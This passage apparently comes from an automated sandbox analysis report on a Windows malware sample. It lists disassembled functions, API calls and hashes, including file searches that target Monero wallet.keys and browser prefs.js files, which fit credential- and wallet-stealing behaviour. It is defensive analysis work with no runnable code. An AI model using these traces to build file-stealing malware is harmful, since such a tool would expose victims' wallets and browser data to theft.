wsprintfA.USER32 ref: 00BD3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00BD3EDA
StrCmpCA.SHLWAPI(?,00BE0FAC), ref: 00BD3F08
StrCmpCA.SHLWAPI(?,00BE0FB0), ref: 00BD3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00BD406C
FindClose.KERNEL32(000000FF), ref: 00BD4081

Strings

%s\%s, xrefs: 00BD3EB7

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: c7ac9fc45f8d75677772335ff6074ded5338e0b02be74bbd82d33404ac1f4f62
Instruction ID: c97449cdcb1118e6083e409d3a586e2d9ab80a4758effb7f846e9814c2469ac3
Opcode Fuzzy Hash: c7ac9fc45f8d75677772335ff6074ded5338e0b02be74bbd82d33404ac1f4f62
Instruction Fuzzy Hash: E15179B5500218ABCB24FBB0DC85EEDB3BCBB54300F0485D9B659A2141EB75DB898FA1

Function 00BCED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BCED3E
FindFirstFileA.KERNEL32(?,?), ref: 00BCED55
StrCmpCA.SHLWAPI(?,00BE1538), ref: 00BCEDAB
StrCmpCA.SHLWAPI(?,00BE153C), ref: 00BCEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00BCF2AE
FindClose.KERNEL32(000000FF), ref: 00BCF2C3

Strings

%s\*.*, xrefs: 00BCED32

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 0c741df59fc129c8028811c2bc605827b63c51387a97fdaf6b07735e57c95f31
Instruction ID: 4c9d940f4c2bf9c3fd8dbcecae7558c92d095c1a3301a7aa0415fa90253a3f39
Opcode Fuzzy Hash: 0c741df59fc129c8028811c2bc605827b63c51387a97fdaf6b07735e57c95f31
Instruction Fuzzy Hash: 8BE104719111589ADB54FB60CC92EEEB3BCAF54300F4045EAB40A62192FF316F8ADF56

Function 00BCF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00BE15B8,00BE0D96), ref: 00BCF71E
StrCmpCA.SHLWAPI(?,00BE15BC), ref: 00BCF76F
StrCmpCA.SHLWAPI(?,00BE15C0), ref: 00BCF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00BCFAB1
FindClose.KERNEL32(000000FF), ref: 00BCFAC3

Strings

prefs.js, xrefs: 00BCF812

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: d0d5f625b4fc16d380b1c96bbab198f630c2cfeaeee953af2d15ec224228a81a
Instruction ID: 10718742893f32431eac0e05c4f89af64281dd73506a2a9178321904990090b2
Opcode Fuzzy Hash: d0d5f625b4fc16d380b1c96bbab198f630c2cfeaeee953af2d15ec224228a81a
Instruction Fuzzy Hash: 2FB154719001199BCB24FF64DC95FEDB3B9AF54300F4085E9A80AA6291FF316B49CF96

Function 00BC16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00BE510C,?,?,?,00BE51B4,?,?,00000000,?,00000000), ref: 00BC1923
StrCmpCA.SHLWAPI(?,00BE525C), ref: 00BC1973
StrCmpCA.SHLWAPI(?,00BE5304), ref: 00BC1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BC1D40
DeleteFileA.KERNEL32(00000000), ref: 00BC1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00BC1E20
FindClose.KERNEL32(000000FF), ref: 00BC1E32

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Strings

\*.*, xrefs: 00BC17F1

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: e0455a99d2dd95708a97dc8fe0418b7a9f5ebe826d124a91c6db1f0137348fdd
Instruction ID: 1fa7172189ba321dfa883dd4914a879e11965fcfbfda815b83b845c90342a50e
Opcode Fuzzy Hash: e0455a99d2dd95708a97dc8fe0418b7a9f5ebe826d124a91c6db1f0137348fdd
Instruction Fuzzy Hash: 711232719101589BCB15FB60CCA6EEEB3B8AF54300F4045EAB50A62291FF356F89CF91

Function 00BCDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00BE0C2E), ref: 00BCDE5E
StrCmpCA.SHLWAPI(?,00BE14C8), ref: 00BCDEAE
StrCmpCA.SHLWAPI(?,00BE14CC), ref: 00BCDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00BCE3E0
FindClose.KERNEL32(000000FF), ref: 00BCE3F2

Strings

\*.*, xrefs: 00BCDE26

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 1ce0c2ab5de7d506262ff0d1aaf243e8b0934260c3149ce9fb16f9b3777fd5b3
Instruction ID: 769a6049ed9fcf113e8aa71a65345a4410e9e6f1a2619c751ea0a226ce4aecdb
Opcode Fuzzy Hash: 1ce0c2ab5de7d506262ff0d1aaf243e8b0934260c3149ce9fb16f9b3777fd5b3
Instruction Fuzzy Hash: 89F1BF718101589ADB15FB60CC95EEEB3B8BF14300F9041EAA41A72291FF356F8ADF65

Function 00BCDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00BE14B0,00BE0C2A), ref: 00BCDAEB
StrCmpCA.SHLWAPI(?,00BE14B4), ref: 00BCDB33
StrCmpCA.SHLWAPI(?,00BE14B8), ref: 00BCDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00BCDDCC
FindClose.KERNEL32(000000FF), ref: 00BCDDDE

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 7db94f82ff1fd6215de1d3914450a3b7297c2484b8e4e2b1b0583a0cad9ea90e
Instruction ID: 5600f7d1563ef7419616018bda83c40139345399e11d957953cc1eb17885d906
Opcode Fuzzy Hash: 7db94f82ff1fd6215de1d3914450a3b7297c2484b8e4e2b1b0583a0cad9ea90e
Instruction Fuzzy Hash: B59148769001085BCB14FB74DC56EEDB3BCAB94300F4085F9F91AA6281FE359B498B96

Function 00F87DCA Relevance: 11.6, Strings: 8, Instructions: 1620COMMON

Download Yara Rule

Strings

zWm, xrefs: 00F8879E
]%f9, xrefs: 00F88364
Xo, xrefs: 00F880B4
'm|N, xrefs: 00F88D8F
B~}, xrefs: 00F88332
23G, xrefs: 00F88866
A;w_, xrefs: 00F88BA3
u?_;, xrefs: 00F881BA

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Xo$'m|N$23G$A;w_$B~}$]%f9$u?_;$zWm
API String ID: 0-2154948658
Opcode ID: 654c25ee025d3a0ba96f37512eaeeca2cbd3484c1120637d48df5255280c981f
Instruction ID: 8cea16275648150309f097ad6b7d814432808401b60a84fad8bf7f4c3167f6da
Opcode Fuzzy Hash: 654c25ee025d3a0ba96f37512eaeeca2cbd3484c1120637d48df5255280c981f
Instruction Fuzzy Hash: F5B21BF3A0C210AFE7046E2DEC8567ABBE9EFD4720F16493DE6C5C3744EA3558058692

Function 00BD7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

GetKeyboardLayoutList.USER32(00000000,00000000,00BE05AF), ref: 00BD7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00BD7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00BD7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00BD7C62
LocalFree.KERNEL32(00000000), ref: 00BD7D22

Strings

/ , xrefs: 00BD7C7F

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: eaedcd783a91b6d99a482a79e8e4071f2a9dce4a2d04ec279b0738c99c31bea8
Instruction ID: f6873298fc699ba3361e65432f99f8f8c84506359b39d27c1e7fd796ed107abc
Opcode Fuzzy Hash: eaedcd783a91b6d99a482a79e8e4071f2a9dce4a2d04ec279b0738c99c31bea8
Instruction Fuzzy Hash: 9A412A71950218ABDB24DB94DC99BEEF3B8FB44700F2041DAE40962291EB742F85CFA1

Function 00F7C40B Relevance: 10.3, Strings: 7, Instructions: 1570COMMON

Download Yara Rule

Strings

we?s, xrefs: 00F7CD7F
WV=y, xrefs: 00F7C5EC
FP9O, xrefs: 00F7D084
VsfD, xrefs: 00F7D386
r>7{, xrefs: 00F7C70F
h/, xrefs: 00F7C9CE
FP9O, xrefs: 00F7D04B

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: FP9O$FP9O$VsfD$WV=y$h/$r>7{$we?s
API String ID: 0-3137143347
Opcode ID: 8372acc3f7e305b0484b5f5ef06f45da827abf3941ac6c4b080bf2c423f28fa2
Instruction ID: 8f29e36c386c67e663b01136c36888d7c13e02f886d3abff06adde71dbc12805
Opcode Fuzzy Hash: 8372acc3f7e305b0484b5f5ef06f45da827abf3941ac6c4b080bf2c423f28fa2
Instruction Fuzzy Hash: 07B2E3B3A0C2009FE304AE29DC8567AFBE5EF94720F16493DE6C4C7744EA3598458B97

Function 00F8301E Relevance: 10.3, Strings: 7, Instructions: 1563COMMON

Download Yara Rule

Strings

<+F;, xrefs: 00F8323C
}0d, xrefs: 00F83651
@G{o, xrefs: 00F83C35
R<d, xrefs: 00F83E84
_B;, xrefs: 00F834F7
)A}, xrefs: 00F83AB0
N[Dw, xrefs: 00F83E3B

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )A}$<+F;$@G{o$N[Dw$R<d$_B;$}0d
API String ID: 0-859064206
Opcode ID: b6c4a8b6ee565442b3a41038b1d5b82e211e2a59c82b0a48830f4e4dafbc052d
Instruction ID: c9612585b55d8ee04648aa67f3bd8c8aac29593622c62ab548496817dd8a8a04
Opcode Fuzzy Hash: b6c4a8b6ee565442b3a41038b1d5b82e211e2a59c82b0a48830f4e4dafbc052d
